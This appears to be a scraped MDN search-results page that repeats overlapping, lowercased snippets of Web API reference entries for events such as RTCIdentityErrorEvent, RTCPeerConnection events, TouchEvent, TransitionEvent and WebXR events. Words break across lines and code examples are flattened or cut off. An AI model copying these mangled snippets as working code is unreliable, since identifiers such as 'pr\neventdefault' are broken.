event.loginurl is a domstring giving the url where the user can complete the authentication. it can be null and is provided by the identity provider (idp). firefox implements the interface of this property under the following name: rtcpeerconnectionidentityerror
event. it is likely that it will correct this name when it will unprefix rtcpeerconnection, once spec and implementation will have been stabilized. ...
...the url where the user can complete the authentication. it can be null and is provided by the identity provider (idp). firefox implements the interface of this property under the following name: rtcpeerconnectionidentityerror
event. it is likely that it will correct this name when it will unprefix rtcpeerconnection, once spec and implementation will have been stabilized. ...
...e user can complete the authentication. it can be null and is provided by the identity provider (idp). firefox implements the interface of this property under the following name: rtcpeerconnectionidentityerror
event. it is likely that it will correct this name when it will unprefix rtcpeerconnection, once spec and implementation will have been stabilized. ...
RTCIdentityErrorEvent.protocol - Web APIs
the read-only property rtcidentityerror
event.protocol is a domstring describing the idp protocol in use. firefox implements the interface of this property under the following name: rtcpeerconnectionidentityerror
event. it is likely that it will correct this name when it will unprefix rtcpeerconnection, once spec and implementation will have been stabilized. ...
... the read-only property rtcidentityerror
event.protocol is a domstring describing the idp protocol in use. firefox implements the interface of this property under the following name: rtcpeerconnectionidentityerror
event. it is likely that it will correct this name when it will unprefix rtcpeerconnection, once spec and implementation will have been stabilized. ...
...e read-only property rtcidentityerror
event.protocol is a domstring describing the idp protocol in use. firefox implements the interface of this property under the following name: rtcpeerconnectionidentityerror
event. it is likely that it will correct this name when it will unprefix rtcpeerconnection, once spec and implementation will have been stabilized. ...
RTCIdentityErrorEvent - Web APIs
the rtcidentityerror
event interface represents an error associated with the identity provider (idp). this is usually for an rtcpeerconnection. two
events are sent with this type: idpassertionerror and idpvalidationerror. firefox implements this interface under the following name: rtcpeerconnectionidentityerror
event. it is likely that it will correct this name when it will unprefix rtcpeerconnection, once spec and implementation will have been stabilized. properties a rtcidentityerror
event being an
event, this
event also implements these properties. rtcidentityerror
event.idp read only is a domstring describing the domain name of the identity provider (idp) generating the error response. ...
... is likely that it will correct this name when it will unprefix rtcpeerconnection, once spec and implementation will have been stabilized. properties a rtcidentityerror
event being an
event, this
event also implements these properties. rtcidentityerror
event.idp read only is a domstring describing the domain name of the identity provider (idp) generating the error response. rtcidentityerror
event.loginurl read only is a domstring giving the url where the user can complete the authentication. it can be null and is provided by the identity provider (idp). ...
...
event, this
event also implements these properties. rtcidentityerror
event.idp read only is a domstring describing the domain name of the identity provider (idp) generating the error response. rtcidentityerror
event.loginurl read only is a domstring giving the url where the user can complete the authentication. it can be null and is provided by the identity provider (idp). rtcidentityerror
event.protocol read only is a domstring describing the idp protocol in use. methods a rtcidentityerror
event being an
event, this
event also implements these properties. there is no specific rtcidentityerror
event method. examples pc.onidpassertionerror = function( ev ) { alert("the idp named '" + ev.idp + ...
RTCPeerConnection: addstream event - Web APIs
the obsolete addstream
event is sent to an rtcpeerconnection when new media, in the form of a mediastream object, has been added to it. important: this
event has been removed from the webrtc specification. you should instead watch for the track
event, which is sent for each media track added to the rtcpeerconnection. bubbles no cancelable no interface mediastream
event event handler property rtcpeerconnection.onaddstream you can, similarly, watch for streams to be removed from the connection by monitoring the removestream
event. examples this example looks to determine if the user's browser supports the track
event. if it does, a track
event listener is set up; otherwise, an addstream
event listener is set up. pc is an rtcpeerconnec...
...up. pc is an rtcpeerconnection. ...
...if (pc.addtrack !== undefined) { pc.ontrack = ev => { ev.streams.foreach(stream => doaddstream(stream)); } } else { pc.onaddstream = ev => { doaddstream(ev.stream); } } this calls a function doaddstream() once for each stream being added to the rtcpeerconnection, regardless of whether the browser sends addstream or track. you can also use the add
eventlistener() method to set an
event listener: pc.add
eventlistener("addstream", ev => doaddstream(ev.stream), false); ...
RTCPeerConnection: datachannel event - Web APIs
a datachannel
event is sent to an rtcpeerconnection instance when an rtcdatachannel has been added to the connection, as a result of the remote peer calling rtcpeerconnection.createdatachannel(). note: this
event is not dispatched when the local end of the connection creates the channel. bubbles no cancelable no interface rtcdatachannel
event event handler property ondatachannel examples this example sets up a function that handles datachannel
events by gathering the information needed to communicate with the newly added rtcdatachannel and by adding
event handlers for the
events that occur on that channel. ...
...e channel. bubbles no cancelable no interface rtcdatachannel
event event handler property ondatachannel examples this example sets up a function that handles datachannel
events by gathering the information needed to communicate with the newly added rtcdatachannel and by adding
event handlers for the
events that occur on that channel. pc.add
eventlistener("datachannel", ev => { receivechannel = ev.channel; receivechannel.onmessage = myhandlemessage; receivechannel.onopen = myhandleopen; receivechannel.onclose = myhandleclose; }, false); receivechannel is set to the value of the
event's channel property, which specifies the rtcdatachannel object representing the data channel linking the remote peer to the local one. this same cod...
...echannel.onmessage = myhandlemessage; receivechannel.onopen = myhandleopen; receivechannel.onclose = myhandleclose; }, false); receivechannel is set to the value of the
event's channel property, which specifies the rtcdatachannel object representing the data channel linking the remote peer to the local one. this same code can also instead use the rtcpeerconnection interface's ondatachannel
event handler property, like this: pc.ondatachannel = ev => { receivechannel = ev.channel; receivechannel.onmessage = myhandlemessage; receivechannel.onopen = myhandleopen; receivechannel.onclose = myhandleclose; } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'datachannel' in that specification. ...
RTCPeerConnectionIceErrorEvent - Web APIs
the rtcpeerconnectioniceerror
event interface—based upon the
event interface—provides details pertaining to an ice error announced by sending an icecandidateerror
event to the rtcpeerconnection object. constructor rtcpeerconnectioniceerror
event() creates and returns a new rtcpeerconnectioniceerror
event object, with its type and other properties initialized as specified in the parameters. you will not normally create an object of this type yourself. ...
...ing to an ice error announced by sending an icecandidateerror
event to the rtcpeerconnection object. constructor rtcpeerconnectioniceerror
event() creates and returns a new rtcpeerconnectioniceerror
event object, with its type and other properties initialized as specified in the parameters. you will not normally create an object of this type yourself. properties the rtcpeerconnectioniceerror
event interface includes the properties found on the
event interface, as well as the following properties: address read only a domstring providing the local ip address used to communicate with the stun or turn server being used to negotiate the connection, or null if the local ip address has not yet been exposed as part of a local ice candidate. errorcode read only an unsigned integer value sta...
...r. port read only an unsigned integer value giving the port number over which communication with the stun or turn server is taking place, using the ip address given in address. null if the connection hasn't been established (that is, if address is null). url read only a domstring indicating the url of the stun or turn server with which the error occurred. methods rtcpeerconnectioniceerror
event has no methods other than any provided by the parent interface,
event. examples tbd specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnectioniceerror
event' in that specification. candidate recommendation initial definition. ...
RTCPeerConnectionIceEvent() - Web APIs
the rtcpeerconnectionice
event() constructor creates a new rtcpeerconnectionice
event. syntax var
event = new rtcpeerconnectionice
event(type, options); parameters type is a domstring containing the name of the
event, like "icecandidate". options a dictionary of type rtcpeerconnectioninit, which may contain one or more of the following fields: "candidate" (optional, default is null): a rtcicecandidate representing the ice candidate being concerned by the
event. if null, the
event indicates the end of candidate gathering. "url" (optional, default is null): the url of the stun or turn server which was used to gather the candidate. if the candidate was not gathered by a stun or turn server, this value must be null. ...
...ll): a rtcicecandidate representing the ice candidate being concerned by the
event. if null, the
event indicates the end of candidate gathering. "url" (optional, default is null): the url of the stun or turn server which was used to gather the candidate. if the candidate was not gathered by a stun or turn server, this value must be null. "bubbles" (optional, default is false): inherited from
eventinit(), this boolean option indicates whether or not the
event must bubble. "cancelable" (optional, default is false, inherited from
eventinit(), this boolean indicates whether or not the
event can be canceled. return value a newly-created rtcpeerconnectionice
event, configured as specified in the provided options. specifications specification status comment webrt...
...ble" (optional, default is false, inherited from
eventinit(), this boolean indicates whether or not the
event can be canceled. return value a newly-created rtcpeerconnectionice
event, configured as specified in the provided options. specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnectionice
event()' in that specification. candidate recommendation initial definition. ...
RTCPeerConnectionIceEvent - Web APIs
the rtcpeerconnectionice
event interface represents
events that occurs in relation to ice candidates with the target, usually an rtcpeerconnection. only one
event is of this type: icecandidate. properties a rtcpeerconnectionice
event being an
event, this
event also implements these properties. rtcpeerconnectionice
event.candidate read only contains the rtcicecandidate containing the candidate associated with the
event, or null if this
event indicates that there are no further candidates to come. constructors rtcpeerconnectionice
event() returns a new rtcpeerconnectionice
event. it takes two parameters, the first being a domstring representing the type of the
event; the second a dictionary containing the rtcicecandidate it refers to. ...
...g the candidate associated with the
event, or null if this
event indicates that there are no further candidates to come. constructors rtcpeerconnectionice
event() returns a new rtcpeerconnectionice
event. it takes two parameters, the first being a domstring representing the type of the
event; the second a dictionary containing the rtcicecandidate it refers to. methods a rtcpeerconnectionice
event being an
event, this
event also implements these properties. there is no specific rtcdatachannel
event method. examples pc.onicecandidate = function( ev ) { alert("the ice candidate (transport address: '" + ev.candidate.candidate + "') has been added to this connection."); } specifications specification status comment webrtc 1.0: real-time communication betw...
...roperties. there is no specific rtcdatachannel
event method. examples pc.onicecandidate = function( ev ) { alert("the ice candidate (transport address: '" + ev.candidate.candidate + "') has been added to this connection."); } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnectionice
event' in that specification. candidate recommendation initial definition. ...
RTCTrackEvent() - Web APIs
the rtctrack
event() constructor creates and returns a new rtctrack
event object, configured to describe the track which has been added to the rtcpeerconnection. in general, you won't need to use this constructor, as rtctrack
event objects are created by webrtc and delivered to your rtcpeerconnector's ontrack
event handler as appropriate. syntax track
event = new rtctrack
event(
eventinfo); parameters
eventinfo an object based on the rtctrack
eventinit dictionary, providing information about the track which has been added to the rtcpeerconnection. this object has the following properties: receiver the rtcrtpreceiver which is being used to receive the track's media. ...
...ventinfo); parameters
eventinfo an object based on the rtctrack
eventinit dictionary, providing information about the track which has been added to the rtcpeerconnection. this object has the following properties: receiver the rtcrtpreceiver which is being used to receive the track's media. streams optional an array of mediastream objects representing each of the streams that comprise the
event's corresponding track. track the mediastreamtrack the
event is associated with. transceiver the rtcrtptransceiver associated with the
event. return value a new rtctrack
event describing a track which has been added to the rtcpeerconnection. specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtctra...
... corresponding track. track the mediastreamtrack the
event is associated with. transceiver the rtcrtptransceiver associated with the
event. return value a new rtctrack
event describing a track which has been added to the rtcpeerconnection. specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtctrack
event()' in that specification. candidate recommendation initial specification. ...
SVGGraphicsElement: paste event - Web APIs
the paste
event is fired on an svggraphicselement when the user has initiated a "paste" action through the browser's user interface. bubbles yes cancelable yes interface clipboard
event event handler property onpaste if the cursor is in an editable context (for example, in a <textarea> or an element with contenteditable attribute set to true) then the default action is to insert the contents of the clipboard into the document at the cursor position. a handler for this
event can access the clipboard contents by calling getdata() on the
event's clipboarddata property. ...
...with contenteditable attribute set to true) then the default action is to insert the contents of the clipboard into the document at the cursor position. a handler for this
event can access the clipboard contents by calling getdata() on the
event's clipboarddata property. to override the default behavior (for example to insert some different data or a transformation of the clipboard contents) an
event handler must cancel the default action using
event.pr
eventdefault(), and then insert its desired data manually. it's possible to construct and dispatch a synthetic paste
event, but this will not affect the document's contents. example html <?xml version="1.0" encoding="utf-8"?> <svg viewbox="0 0 140 30" width="600" height="320" xmlns="http://www.w3.org/2000/svg"> <foreignobject x="5" y="-...
...10" width="90" height="20"> <input xmlns="http://www.w3.org/1999/xhtml" value="copy this text"/> </foreignobject> <text x="5" y="30" id="element-to-paste-text" tabindex="1">paste it here</text> </svg> css input { font-size: 10px; width: 100%; height: 90%; box-sizing: border-box; border: 1px solid black; } javascript document.getelementbyid("element-to-paste-text").add
eventlistener("paste", evt => { evt.target.textcontent = evt.clipboarddata.getdata("text/plain").touppercase(); evt.pr
eventdefault(); }); result specifications specification status comment scalable vector graphics (svg) 2 candidate recommendation definition that the clipboard
events apply to svg elements. clipboard api and
events working draft i...
ServiceWorkerGlobalScope: activate event - Web APIs
the activate
event of the serviceworkerglobalscope interface is fired when a serviceworkerregistration acquires a new serviceworkerregistration.active worker. bubbles no cancelable no interface extendable
event event handler property serviceworkerglobalscope.onactivate examples the following snippet shows how you could use an activate
event handler to upgrade a cache. ...
...alscope interface is fired when a serviceworkerregistration acquires a new serviceworkerregistration.active worker. bubbles no cancelable no interface extendable
event event handler property serviceworkerglobalscope.onactivate examples the following snippet shows how you could use an activate
event handler to upgrade a cache. ...
...erviceworkerregistration acquires a new serviceworkerregistration.active worker. bubbles no cancelable no interface extendable
event event handler property serviceworkerglobalscope.onactivate examples the following snippet shows how you could use an activate
event handler to upgrade a cache. globalscope.add
eventlistener('activate', function(
event) { var cachewhitelist = ['v2'];
event.waituntil( caches.foreach(function(cache, cachename) { if (cachewhitelist.indexof(cachename) == -1) { return caches.delete(cachename); } }) ); }); you can also set up the
event handler using the serviceworkerglobalscope.onactivate property: globalscope.onactivate = function(
event) { ... }; specifications speci...
SharedWorkerGlobalScope: connect event - Web APIs
the connect
event is fired in shared workers at their sharedworkerglobalscope when a new client connects. bubbles no cancelable no interface message
event event handler property sharedworkerglobalscope.onconnect examples this example shows a shared worker file — when a connection to the worker occurs from a main thread via a messageport, the onconnect
event handler fires. the
event object is a message
event. the connecting port can be referenced through the
event object's ports parameter; this reference can have an onmessage handler attached to it to handle messages coming in through the port, and its postmessage() method can be used to send messages back to the main thread using the worker. self.onconnect = function(e) { var port ...
...ge() method can be used to send messages back to the main thread using the worker. ...
...e main thread using the worker. self.onconnect = function(e) { var port = e.ports[0]; port.onmessage = function(e) { var workerresult = 'result: ' + (e.data[0] * e.data[1]); port.postmessage(workerresult); } port.start(); } for a complete running example, see our basic shared worker example (run shared worker.) add
eventlistener equivalent you could also set up an
event handler using the add
eventlistener() method: self.add
eventlistener('connect', function(e) { var port = e.ports[0]; port.onmessage = function(e) { var workerresult = 'result: ' + (e.data[0] * e.data[1]); port.postmessage(workerresult); } }); specifications specification status html living standardthe definition of 'connect
event' in that specification. ...
SpeechRecognitionEvent.results - Web APIs
the results read-only property of the speechrecognition
event interface returns a speechrecognitionresultlist object representing all the speech recognition results for the current session. specifically this object will contain all final results that have been returned, followed by the current best hypothesis for all interim results. when subsequent result
events are fired, interim results may be overwritten by a newer interim result or by a final result — they may even be removed, if they are at the end of the "results" array and the array length decreases. final results on the other hand will not be overwritten or removed. syntax var myresults =
event.results; value a speechrecognitionresultlist object. examples this code is excerpted from our speech color changer example...
...m result or by a final result — they may even be removed, if they are at the end of the "results" array and the array length decreases. final results on the other hand will not be overwritten or removed. syntax var myresults =
event.results; value a speechrecognitionresultlist object. examples this code is excerpted from our speech color changer example. recognition.onresult = function(
event) { // the speechrecognition
event results property returns a speechrecognitionresultlist object // the speechrecognitionresultlist object contains speechrecognitionresult objects. // it has a getter so it can be accessed like an array // the first [0] returns the speechrecognitionresult at position 0. // each speechrecognitionresult object contains speechrecognitionalternative objects th...
...eechrecognitionresult at position 0. // each speechrecognitionresult object contains speechrecognitionalternative objects that contain individual results. // these also have getters so they can be accessed like arrays. // the second [0] returns the speechrecognitionalternative at position 0. // we then return the transcript property of the speechrecognitionalternative object var color =
event.results[0][0].transcript; diagnostic.textcontent = 'result received: ' + color + '.'; bg.style.backgroundcolor = color; } specifications specification status comment web speech apithe definition of 'results' in that specification. draft ...
TouchEvent.altKey - Web APIs
summary a boolean value indicating whether or not the alt (alternate) key is enabled when the touch
event is created. if the alt key is enabled, the attribute's value is true. otherwise, it is false. this property is read only . syntax var altenabled = touch
event.altkey; return value altenabled true if the alt key is enabled for this
event; and false if the alt is not enabled. example this example illustrates how to access the touch
event key modifier properties: touch
event.altkey, touch
event.ctrlkey, touch
event.metakey and touch
event.shiftkey. in following code snippet, the touchstart
event handler logs the state of the
event's modifier keys. ...
...urn value altenabled true if the alt key is enabled for this
event; and false if the alt is not enabled. example this example illustrates how to access the touch
event key modifier properties: touch
event.altkey, touch
event.ctrlkey, touch
event.metakey and touch
event.shiftkey. in following code snippet, the touchstart
event handler logs the state of the
event's modifier keys. someelement.add
eventlistener('touchstart', function(e) { // log the state of this
event's modifier keys console.log("altkey = " + e.altkey); console.log("ctrlkey = " + e.ctrlkey); console.log("metakey = " + e.metakey); console.log("shiftkey = " + e.shiftkey); }, false); specifications specification status comment touch
events – level 2 draft non-stable version. ...
...touchstart', function(e) { // log the state of this
event's modifier keys console.log("altkey = " + e.altkey); console.log("ctrlkey = " + e.ctrlkey); console.log("metakey = " + e.metakey); console.log("shiftkey = " + e.shiftkey); }, false); specifications specification status comment touch
events – level 2 draft non-stable version. touch
events recommendation initial definition. ...
TrackEvent() - Web APIs
the track
event() constructor creates and returns a new track
event object describing an
event which occurred on a list of tracks (audiotracklist, videotracklist, or texttracklist). syntax track
event = new track
event(type,
eventinfo); parameters type the type of track
event which is described by the object: "addtrack" or "removetrack".
eventinfo optional an optional dictionary providing additional information configuring the new
event; it can contain the following fields in any combination: track optional the track to which the
event refers; this is null by default, but should be set to a videotrack, audiotrack, or texttrack as appropriate given the type of track. bubbles optional a boolean indicating whether the
event bubbles or not. cancelable optional a boolean indicati...
...uring the new
event; it can contain the following fields in any combination: track optional the track to which the
event refers; this is null by default, but should be set to a videotrack, audiotrack, or texttrack as appropriate given the type of track. bubbles optional a boolean indicating whether the
event bubbles or not. cancelable optional a boolean indicating whether or not the
event can be canceled. composed optional a boolean indicating whether or not the
event will trigger listeners outside of a shadow root; see
event.composed for more details. return value a newly-created track
event object, initialized as described by the inputs to the constructor. specifications specification status comment html living standardthe definition of 'track...
... can be canceled. composed optional a boolean indicating whether or not the
event will trigger listeners outside of a shadow root; see
event.composed for more details. return value a newly-created track
event object, initialized as described by the inputs to the constructor. specifications specification status comment html living standardthe definition of 'track
event()' in that specification. living standard initial definition. html5the definition of 'track
event()' in that specification. recommendation initial definition. ...
TransitionEvent - Web APIs
the transition
event interface represents
events providing information related to transitions. constructor transition
event() creates a transition
event event with the given parameters. properties also inherits properties from its parent
event. transition
event.propertyname read only is a domstring containing the name css property associated with the transition. transition
event.elapsedtime read only is a float giving the amount of time the transition has been running, in seconds, when this
event fired. this value is not affected by the transition-delay property. transition
event.pseudoelement read only is a domstring, starting with ::, containing the name of the pseudo-element the animation runs on. if the transition doesn't run on a pseudo-element but on the element, a...
...e amount of time the transition has been running, in seconds, when this
event fired. this value is not affected by the transition-delay property. transition
event.pseudoelement read only is a domstring, starting with ::, containing the name of the pseudo-element the animation runs on. if the transition doesn't run on a pseudo-element but on the element, an empty string: ''. types of transition
event transitioncancel an
event fired when a css transition has been cancelled. transitionend an
event fired when a css transition has finished playing. transitionrun an
event fired when a css transition is created, when it is added to a set of running transitions, though not nessarilty started transitionstart an
event fired when a css transition has started transitioning. methods also inh...
...red when a css transition has been cancelled. transitionend an
event fired when a css transition has finished playing. transitionrun an
event fired when a css transition is created, when it is added to a set of running transitions, though not nessarilty started transitionstart an
event fired when a css transition has started transitioning. methods also inherits properties from its parent
event. transition
event.inittransition
event() initializes a transition
event created using the deprecated document.create
event("transition
event") method. specifications specification status comment css transitionsthe definition of 'transition
event' in that specification. working draft initial definition. ...
Window: DOMContentLoaded event - Web APIs
the domcontentloaded
event fires when the initial html document has been completely loaded and parsed, without waiting for stylesheets, images, and subframes to finish loading. bubbles yes cancelable yes (although specified as a simple
event that isn't cancelable) interface
event event handler property none the original target for this
event is the document that has loaded. you can listen for this
event on the window interface to handle it in the capture or bubbling phases. for full details on this
event please see the page on the document: domcontentloaded
event. a different
event, load, should be used only to detect a fully-loaded page. it is a common mistake to use load where domcontentloaded would be more appropriate. examples basi...
...s loaded. you can listen for this
event on the window interface to handle it in the capture or bubbling phases. for full details on this
event please see the page on the document: domcontentloaded
event. a different
event, load, should be used only to detect a fully-loaded page. it is a common mistake to use load where domcontentloaded would be more appropriate. ...
...vent on the window interface to handle it in the capture or bubbling phases. for full details on this
event please see the page on the document: domcontentloaded
event. a different
event, load, should be used only to detect a fully-loaded page. it is a common mistake to use load where domcontentloaded would be more appropriate. ...
XRInputSourceEventInit.inputSource - Web APIs
the xrinputsource
eventinit dictionary's inputsource property is used when calling the xrinputsource
event() constructor to specify the xrinputsource from which the newly-created
event is being sent. of course, as a general rule, you won't need to create xrinputsource
eventinit objects yourself. these
events are generated by and sent to you by the webxr infrastructure. syntax let xrinputsource
eventinit.inputsource = xrinputsource; let xrinputsource
eventinit = { inputsource: xrinputsource }; let xrinputsource
event = new xrinputsource
event(type, { inputsource: xrinputsource }); value an xrinputsource object indicating the source of the newly-created xrinputsource
event to be created. the new object's inputsource will be set to this value. ...
... working draft initial definition. ...
...t xrinputsource
eventinit = { inputsource: xrinputsource }; let xrinputsource
event = new xrinputsource
event(type, { inputsource: xrinputsource }); value an xrinputsource object indicating the source of the newly-created xrinputsource
event to be created. the new object's inputsource will be set to this value. examples this example creates a new select
event and sends it to the xrsession. let
event = new xrinputsource
event("select", { frame:
eventframe, inputsource: source }; if (
event) { xrsession.dispatch
event(
event); } specifications specification status comment webxr device apithe definition of 'xrinputsource
eventinit.inputsource' in that specification. working draft initial definition. ...
XRInputSourcesChangeEvent() - Web APIs
the xrinputsourceschange
event() constructor creates and returns a new xrinputsourceschange
event object, representing an update to the list of available webxr input devices. you won't typically call this constructor yourself, as these
events are created and sent to you by the webxr system. syntax newinputsourceschange
event = new xrinputsourceschange
event(type,
eventinitdict); parameters type a domstring indicating the type of
event which has occurred. this string must always be inputsourceschange.
eventinitdict an object conforming to the xrinputsourceschange
eventinit dictionary, prodividing the initial values for the
event. return value a newly-created xrinputsourceschange
event object configured based upon the input parameters provided. ...
...pe,
eventinitdict); parameters type a domstring indicating the type of
event which has occurred. this string must always be inputsourceschange.
eventinitdict an object conforming to the xrinputsourceschange
eventinit dictionary, prodividing the initial values for the
event. return value a newly-created xrinputsourceschange
event object configured based upon the input parameters provided.
event types inputsourceschange delivered to the xrsession when the set of input devices available to it changes. example the following snippet of code creates a new xrinputsourceschange
event object indicating that a single new input source, described by an xrinputsource object named newinputsource, has been added to the system. ...
... configured based upon the input parameters provided.
event types inputsourceschange delivered to the xrsession when the set of input devices available to it changes. example the following snippet of code creates a new xrinputsourceschange
event object indicating that a single new input source, described by an xrinputsource object named newinputsource, has been added to the system. let isc
event = new xrinputsourceschange
event("inputsourceschange", { session: xrsession, added: [newinputsource], removed: [] }); specifications specification status comment webxr device apithe definition of 'xrinputsourceschange
event()' in that specification. working draft initial definition. ...
XRReferenceSpaceEvent.transform - Web APIs
the read-only xrreferencespace
event property transform indicates the position and orientation of the affected referencespace's native origin after the changes the
event represents are applied. the transform is defined using the old coordinate system, which allows it to be used to convert coordinates from the pre-
event coordinate system to the post-
event coordiante system. syntax let refspace = xrreferencespace
event.transform; value an xrrigidtransform object providing a transform that can be used to convert coordinates from the pre-
event coordinate system to the post-
event coordinate system. usage notes upon receiving a reset
event, you can apply the transform to cached position or orientation information to shift them into the updated coordinate system. alternatively, you can just dis...
...nate system to the post-
event coordinate system. usage notes upon receiving a reset
event, you can apply the transform to cached position or orientation information to shift them into the updated coordinate system. alternatively, you can just discard any cached positional information and recompute from scratch. the approach you take will depend on your needs. for details on what causes a reset
event and how to respond, see the reset
event's documentation. examples this example handles the reset
event by walking through all the objects in a scene, updating each object's position by multiplying it with the
event's given transform. the scene is represented by a scene object, with all the objects in an array called objects within it. ...
...or details on what causes a reset
event and how to respond, see the reset
event's documentation. examples this example handles the reset
event by walking through all the objects in a scene, updating each object's position by multiplying it with the
event's given transform. the scene is represented by a scene object, with all the objects in an array called objects within it. xrreferencespace.add
eventlistener("reset",
event => { for (let obj of scene.objects) { mat4.multiply(obj.transform, obj.transform,
event.transform); } }); specifications specification status comment webxr device apithe definition of 'xrreferencespace
event.transform' in that specification. working draft initial definition. ...
XRReferenceSpaceEvent - Web APIs
the webxr device api interface xrreferencespace
event represents an
event sent to an xrreferencespace. currently, the only
event that uses this type is the reset
event. constructor xrreferencespace
event() returns a new xrreferencespace
event with the specified type and configured using the values in the given xrreferencespace
eventinit dictionary. properties in addition to inheriting the properties available on the parent interface,
event, xrreferencespace
event objects include the following properties: referencespace read only an xrreferencespace indicating the reference space that generated the
event. ...
... addition to inheriting the properties available on the parent interface,
event, xrreferencespace
event objects include the following properties: referencespace read only an xrreferencespace indicating the reference space that generated the
event. transform read only an xrrigidtransform object indicating the position and orientation of the specified referencespace's native origin after the
event, defined relative to the coordinate system before the
event. methods while xrreferencespace
event does not define any methods, it inherits the methods of its parent interface,
event.
event types reset the reset
event is sent to a reference space when its native origin is changed due to a discontinuity, recalibration, or device reset. this is an opportunity for your app to update any stored...
...ue to a discontinuity, recalibration, or device reset. this is an opportunity for your app to update any stored transforms, position/orientation information, or the like—or to dump any cached values based on the reference's space's origin so you can recompute them as needed. specifications specification status comment webxr device apithe definition of 'xrreferencespace
event' in that specification. working draft initial definition. ...
Index - Web APIs
st (such as a fetch) and abort it if required via an abortcontroller object. 11 abortsignal.aborted api, abortsignal, experimental, property, reference, aborted the aborted read-only property returns a boolean that indicates whether the dom request(s) the signal is communicating with is/are aborted (true) or not (false). ...
...rimental, property, reference, aborted the aborted read-only property returns a boolean that indicates whether the dom request(s) the signal is communicating with is/are aborted (true) or not (false). 12 abortsignal.onabort api, abortsignal,
event handler, experimental, fetch, property, reference, onabort the onabort read-only property of the fetchsignal interface is an
event handler invoked when an abort
event fires, i.e. when the fetch request(s) the signal is communicating with is/are aborted. 13 abortsignal: abort
event abort,
events the abort
event of the fetch api is fired when a fetch request is aborted, i.e. using abortcontroller.abort(). 14 absoluteorientationsensor api, absoluteorientationsensor, generic sensor api, interf...
..., abstract, abstractworker, interface, reference, sharedworker, web workers, web workers api, worker the abstractworker interface of the web workers api is an abstract interface that defines properties and methods that are common to all types of worker, including not only the basic worker, but also serviceworker and sharedworker. 23 abstractworker.onerror api, abstractworker,
eventhandler, property, reference, web workers, workers, onerror the abstractworker.onerror property of the abstractworker interface represents an
eventhandler, that is a function to be called when the error
event occurs and bubbles through the worker. 24 accelerometer api, accelerometer, accelerometer api, generic sensor api, interface, reference, sensor, sensor apis, sensors ...
...And 1332 more matches
nsIDOMWindowUtils
om methods and attributes. 1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 49.0 (firefox 49.0 / thunderbird 49.0 / seamonkey 2.46) implemented by: window. ...
...uint32 comparecanvases(in nsidomhtmlcanvaselement acanvas1, in nsidomhtmlcanvaselement acanvas2, out unsigned long amaxdifference); double computeanimationdistance(in nsidomelement element, in astring property, in astring value1, in astring value2); nsicompositionstringsynthesizer createcompositionstringsynthesizer(); obsolete since gecko 38.0 void disablenontestmouse
events(in boolean adisable); boolean dispatchdom
eventviapresshell(in nsidomnode atarget, in nsidom
event a
event, in boolean atrusted); nsidomelement elementfrompoint(in float ax, in float ay, in boolean aignorerootscrollframe, in boolean aflushlayout); void entermodalstate(); nsidomelement findelementwithviewid(in nsviewid aid); void focus(in nsidomeleme...
...nce gecko 13.0 void purgepccounts(); unsigned long redraw([optional] in unsigned long acount); void renderdocument(in nsconstrect arect, in pruint32 aflags, in nscolor abackgroundcolor, in gfxcontext athebescontext); native code only! ...
...And 97 more matches
Using IndexedDB - Web APIs
methods of the asynchronous api (the synchronous api was removed from spec). basic pattern the basic pattern that indexeddb encourages is the following: open a database. create an object store in the database. start a transaction and make a request to do some database operation, like adding or retrieving data. wait for the operation to complete by listening to the right kind of dom
event. do something with the results (which can be found on the request object). with these big concepts under our belts, we can get to more concrete stuff. creating and structuring the store using an experimental version of indexeddb in case you want to test your code in browsers that still use a prefix, you can use the following code: // in the following line, you should include the p...
...ike this: // let us open our database var request = window.indexeddb.open("mytestdatabase", 3); see that? opening a database is just like any other operation — you have to "request" it. the open request doesn't open the database or start the transaction right away. the call to the open() function returns an idbopendbrequest object with a result (success) or error value that you handle as an
event. most other asynchronous functions in indexeddb do the same thing - return an idbrequest object with the result or error. the result for the open function is an instance of an idbdatabase. the second parameter to the open method is the version of the database. the version of the database determines the database schema — the object stores in the database and their structure. if the database doe...
...brequest object with the result or error. the result for the open function is an instance of an idbdatabase. the second parameter to the open method is the version of the database. the version of the database determines the database schema — the object stores in the database and their structure. if the database doesn't already exist, it is created by the open operation, then an onupgradeneeded
event is triggered and you create the database schema in the handler for this
event. if the database does exist but you are specifying an upgraded version number, an onupgradeneeded
event is triggered straight away, allowing you to provide an updated schema in its handler. more on this later in updating the version of the database below, and the idbfactory.open reference page. important: the version...
...And 69 more matches
Index - Archive of obsolete content
since been removed. 6 navigator.moznotification api, deprecated, mobile, non-standard, property, reference provides support for creating notification objects, which are used to display desktop notification alerts to the user. currently, these are only supported on firefox mobile and firefox os. see displaying notifications for an example. 7 window: deviceproximity
event sensors,
events the deviceproximity
event is fired when fresh data is available from a proximity sensor. 8 window: userproximity
event sensors,
events no summary! 9 add-ons add-ons, archive, extensions archived add-ons documentation. 10 add-on sdk add-on sdk, jetpack no summary! 11 builder no summary! ...
... 42 base64 add-on sdk no summary! 43 clipboard add-on sdk interact ...
... sdk store preferences across application restarts. 59 simple-storage add-on sdk, add-ons, reference lets an add-on store data so that it's retained across firefox restarts. 60 system add-on sdk query the add-on's environment and access arguments passed to it. 61 tabs add-on sdk open, manipulate, and access tabs, and receive tab
events. 62 timers add-on sdk set one-off and periodic timers. 63 ui add-on sdk, add-ons, extensions, reference provides access to button, toolbar, and sidebar ui objects. 64 url add-on sdk construct, validate, and parse urls. 66 widget add-on sdk create a simple user interface for an add-on in firefox's add-on bar. ...
...And 68 more matches
Document - Web APIs
obtain the page's url and create new elements in the document. ...
... position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/
eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">
